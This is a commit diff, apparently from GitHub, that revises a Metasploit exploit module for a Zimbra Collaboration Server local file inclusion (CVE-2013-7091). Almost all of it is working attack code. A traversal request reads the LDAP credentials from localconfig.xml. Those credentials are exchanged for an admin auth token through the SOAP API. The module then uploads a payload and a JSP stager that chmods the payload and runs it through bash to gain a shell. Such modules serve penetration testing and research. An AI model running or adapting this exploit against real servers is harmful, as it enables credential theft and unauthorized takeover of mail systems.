@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::EXE
13
+ include Msf ::Exploit ::FileDropper
13
14
include REXML
14
15
15
16
Rank = GreatRanking
@@ -18,10 +19,12 @@ def initialize(info = {})
18
19
super ( update_info ( info ,
19
20
'Name' => 'Zimbra Collaboration Server LFI' ,
20
21
'Description' => %q{
21
- A Local file inclusion exists in versions 8.0.2, 7.2.2 and possibly other versions which allows an attacker to get the LDAP
22
- credentials from the localconfig.xml file. The stolen credentials enables the attacker to make requests to the service/admin/soap API. This can then be used
23
- to create an authentication token for the admin web interface where an administrative user can be added or code execution could be leveraged.
24
- Tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04.
22
+ This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability
23
+ allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen
24
+ credentials allow the attacker to make requests to the service/admin/soap API. This can
25
+ then be used to create an authentication token for the admin web interface. This access
26
+ can be used to achieve remote code execution. This module has been tested on Zimbra
27
+ Collaboration Server 8.0.2 with Ubuntu Server 12.04.
25
28
} ,
26
29
'Author' =>
27
30
[
@@ -31,18 +34,20 @@ def initialize(info = {})
31
34
'License' => MSF_LICENSE ,
32
35
'References' =>
33
36
[
34
- [ "CVE" , "2013-7091" ] ,
35
- [ "EDB" , "30085" ] ,
36
- [ 'URL' , "http://cxsecurity.com/issue/WLB-2013120097" ]
37
+ [ 'CVE' , '2013-7091' ] ,
38
+ [ 'OSVDB' , '100747' ] ,
39
+ [ 'BID' , '64149' ] ,
40
+ [ 'EDB' , '30085' ] ,
41
+ [ 'URL' , 'http://cxsecurity.com/issue/WLB-2013120097' ]
37
42
] ,
38
43
'Privileged' => false ,
39
44
'Platform' => [ 'linux' ] ,
40
45
'Targets' =>
41
46
[
42
- [ 'Linux' ,
47
+ [ 'Zimbra 8.0.2 / Linux' ,
43
48
{
44
- 'Arch' => ARCH_X86 ,
45
- 'Platform' => 'linux'
49
+ 'Arch' => ARCH_X86 ,
50
+ 'Platform' => 'linux'
46
51
}
47
52
] ,
48
53
] ,
@@ -55,27 +60,15 @@ def initialize(info = {})
55
60
) )
56
61
register_options (
57
62
[
58
- OptPort . new ( 'RPORT' , [ true , 'The target port' , 7071 ] )
59
- ] )
60
-
61
- register_advanced_options (
62
- [
63
- OptString . new ( 'ALTDIR' , [ false , 'Alternative zimbraAdmin directory' , "zimbraAdmin" ] )
63
+ Opt ::RPORT ( 7071 ) ,
64
+ OptString . new ( 'TARGETURI' , [ true , 'Path to zimbraAdmin web application' , '/zimbraAdmin' ] ) ,
65
+ OptInt . new ( 'DEPTH' , [ true , 'Traversal depth until to reach the root path' , 9 ] ) ,
66
+ OptString . new ( 'ZIMBRADIR' , [ true , 'Zimbra installation path on the target filesystem (/opt/zimbra by default)' , '/opt/zimbra' ] )
64
67
] )
65
68
end
66
69
67
70
def check
68
- uri = target_uri . path
69
-
70
- res = send_request_cgi ( {
71
- 'uri' => normalize_uri ( uri , datastore [ 'ALTDIR' ] , "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz" ) ,
72
- 'method' => 'GET' ,
73
- 'encode_params' => false ,
74
- 'vars_get' => {
75
- 'v' => "091214175450" ,
76
- 'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
77
- }
78
- } )
71
+ res = send_traversal_query ( traversal_path ( "conf/localconfig.xml" ) )
79
72
80
73
unless res and res . code == 200
81
74
return Exploit ::CheckCode ::Safe
@@ -96,28 +89,18 @@ def check
96
89
end
97
90
98
91
def exploit
99
- uri = target_uri . path
100
-
101
- res = send_request_cgi ( {
102
- 'uri' => normalize_uri ( uri , datastore [ 'ALTDIR' ] , "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz" ) ,
103
- 'method' => 'GET' ,
104
- 'encode_params' => false ,
105
- 'vars_get' => {
106
- 'v' => "091214175450" ,
107
- 'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
108
- }
109
- } )
92
+ print_status ( "#{ peer } - Getting login credentials..." )
93
+ res = send_traversal_query ( traversal_path ( "conf/localconfig.xml" ) )
110
94
111
95
unless res and res . code == 200
112
96
fail_with ( Failure ::Unknown , "#{ peer } - Unable to access vulnerable URL" )
113
97
end
114
98
115
- print_status ( "#{ peer } - Getting login credentials..." )
116
99
#this response is ~100% gzipped
117
100
begin
118
101
text = Rex ::Text . ungzip ( res . body )
119
102
rescue Zlib ::GzipFile ::Error
120
- text = res . body
103
+ text = res . body . to_s
121
104
end
122
105
123
106
if text =~ /name=\\ "zimbra_user\\ ">";\s a\[ "<value>(.*)<\/ value>/
@@ -138,7 +121,7 @@ def exploit
138
121
soap_req = build_soap_req ( zimbra_user , zimbra_pass ) #lets get our hands foamy
139
122
140
123
res = send_request_cgi ( {
141
- 'uri' => normalize_uri ( uri , "/service/ admin/ soap" ) ,
124
+ 'uri' => normalize_uri ( "service" , "admin" , " soap") ,
142
125
'method' => 'POST' ,
143
126
'ctype' => 'application/soap+xml; charset="utf-8"' ,
144
127
'headers' =>
@@ -149,17 +132,16 @@ def exploit
149
132
} )
150
133
151
134
unless res and res . code == 200
152
- print_status res . body
153
135
fail_with ( Failure ::Unknown , "#{ peer } - Unable to access service URL" )
154
136
end
155
137
156
- if res . body =~ /<authToken>(.*)<\/ authToken>/
138
+ if res . body . to_s =~ /<authToken>(.*)<\/ authToken>/
157
139
auth_token = $1
158
140
else
159
141
fail_with ( Failure ::Unknown , "#{ peer } - Unable to get auth token" )
160
142
end
161
143
162
- cookie = "ZM_ADMIN_AUTH_TOKEN=#{ auth_token } "
144
+ @ cookie = "ZM_ADMIN_AUTH_TOKEN=#{ auth_token } "
163
145
print_good ( "#{ peer } - Got auth token!" )
164
146
165
147
#the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler
@@ -169,62 +151,81 @@ def exploit
169
151
#push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards
170
152
payload_name = rand_text_alpha ( 8 +rand ( 8 ) )
171
153
stager_name = rand_text_alpha ( 8 +rand ( 8 ) ) + ".jsp"
172
- req_id = rand_text_numeric ( 2 ) . to_s
173
154
174
155
stager = gen_stager ( payload_name )
175
- dpayload = generate_payload_exe
156
+ payload_elf = generate_payload_exe
176
157
177
158
#upload payload
178
- print_status ( "#{ peer } - Uploading .JSP stager and payload" )
179
- post_data = Rex ::MIME ::Message . new
180
- post_data . add_part ( "#{ payload_name } " , nil , nil , "form-data; name=\" filename1\" " )
181
- post_data . add_part ( "#{ dpayload } " , "application/octet-stream" , nil , "form-data; name=\" clientFile\" ; filename=\" #{ payload_name } \" " )
182
- post_data . add_part ( "#{ req_id } " , nil , nil , "form-data; name=\" requestId\" " )
183
-
184
- n_data = post_data . to_s
185
- n_data = n_data . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
186
-
187
- res = send_request_cgi ( {
188
- 'uri' => normalize_uri ( uri , "/service/extension/clientUploader/upload/" ) ,
189
- 'method' => 'POST' ,
190
- 'ctype' => 'multipart/form-data; boundary=' + post_data . bound ,
191
- 'data' => n_data ,
192
- 'cookie' => cookie
193
- } )
159
+ print_status ( "#{ peer } - Uploading payload" )
160
+ res = upload_file ( payload_name , payload_elf )
194
161
195
162
unless res and res . code == 200
196
163
fail_with ( Failure ::Unknown , "#{ peer } - Unable to get upload payload" )
197
164
end
198
165
199
166
#upload jsp stager
167
+ print_status ( "#{ peer } - Uploading jsp stager" )
168
+ res = upload_file ( stager_name , stager )
169
+
170
+ unless res and res . code == 200
171
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to upload stager" )
172
+ end
173
+
174
+ register_files_for_cleanup (
175
+ "../jetty/webapps/zimbra/downloads/#{ stager_name } " ,
176
+ "../jetty/webapps/zimbra/downloads/#{ payload_name } "
177
+ )
178
+
179
+ print_status ( "#{ peer } - Executing payload on /downloads/#{ stager_name } " )
180
+
181
+ res = send_request_cgi ( {
182
+ 'uri' => normalize_uri ( "downloads" , stager_name ) ,
183
+ 'method' => 'GET' ,
184
+ } )
185
+ end
186
+
187
+ def traversal_path ( file_name )
188
+ ::File . join (
189
+ "../" * datastore [ 'DEPTH' ] ,
190
+ datastore [ 'ZIMBRADIR' ] ,
191
+ file_name
192
+ )
193
+ end
194
+
195
+ def send_traversal_query ( traversal )
196
+ res = send_request_cgi ( {
197
+ 'uri' => normalize_uri ( target_uri . path , "res" , "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz" ) ,
198
+ 'method' => 'GET' ,
199
+ 'encode_params' => false ,
200
+ 'vars_get' => {
201
+ 'v' => "091214175450" ,
202
+ 'skin' => "#{ traversal } %00"
203
+ }
204
+ } )
205
+
206
+ return res
207
+ end
208
+
209
+ def upload_file ( file_name , data )
210
+ req_id = rand_text_numeric ( 2 ) . to_s
211
+
200
212
post_data = Rex ::MIME ::Message . new
201
- post_data . add_part ( "#{ stager_name } " , nil , nil , "form-data; name=\" filename1\" " )
202
- post_data . add_part ( "#{ stager } " , "application/octet-stream" , nil , "form-data; name=\" clientFile\" ; filename=\" #{ stager_name } \" " )
213
+ post_data . add_part ( "#{ file_name } " , nil , nil , "form-data; name=\" filename1\" " )
214
+ post_data . add_part ( "#{ data } " , "application/octet-stream" , nil , "form-data; name=\" clientFile\" ; filename=\" #{ file_name } \" " )
203
215
post_data . add_part ( "#{ req_id } " , nil , nil , "form-data; name=\" requestId\" " )
204
216
205
217
n_data = post_data . to_s
206
218
n_data = n_data . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
207
219
208
220
res = send_request_cgi ( {
209
- 'uri' => normalize_uri ( uri , "/service/ extension/ clientUploader/ upload/ " ) ,
221
+ 'uri' => normalize_uri ( "service" , "extension" , " clientUploader" , " upload") ,
210
222
'method' => 'POST' ,
211
223
'ctype' => 'multipart/form-data; boundary=' + post_data . bound ,
212
224
'data' => n_data ,
213
- 'cookie' => cookie
225
+ 'cookie' => @ cookie
214
226
} )
215
227
216
- unless res and res . code == 200
217
- fail_with ( Failure ::Unknown , "#{ peer } - Unable to upload stager" )
218
- end
219
-
220
- print_good ( "#{ peer } - Stager and payload uploaded!" )
221
- print_status ( "#{ peer } - Stager at #{ peer } /downloads/#{ stager_name } " )
222
- print_status ( "#{ peer } - Executing payload!" )
223
-
224
- res = send_request_cgi ( {
225
- 'uri' => normalize_uri ( uri , "downloads" , stager_name ) ,
226
- 'method' => 'GET' ,
227
- } )
228
+ return res
228
229
end
229
230
230
231
def build_soap_req ( zimbra_user , zimbra_pass )
@@ -274,11 +275,11 @@ def gen_stager(payload_name)
274
275
stager += " String filename = uri.substring(uri.lastIndexOf(\" /\" )+1);"
275
276
stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \" /\" + filename;"
276
277
stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \" /#{ payload_name } \" ;"
277
- stager += " Runtime.getRuntime().exec(\" chmod 700 \" + payload);"
278
- stager += " Runtime.getRuntime().exec(\" bash -c '\" + payload + \" '\" );"
279
- stager += " Runtime.getRuntime().exec(\" rm \" + jspfile);"
280
- stager += " Runtime.getRuntime().exec(\" rm \" + payload);"
278
+ stager += " Process p = Runtime.getRuntime().exec(\" chmod 700 \" + payload);"
279
+ stager += " p.waitFor();"
280
+ stager += " p = Runtime.getRuntime().exec(\" bash -c '\" + payload + \" '\" );"
281
281
stager += "%>"
282
+
282
283
return stager
283
284
end
284
285
end
0 commit comments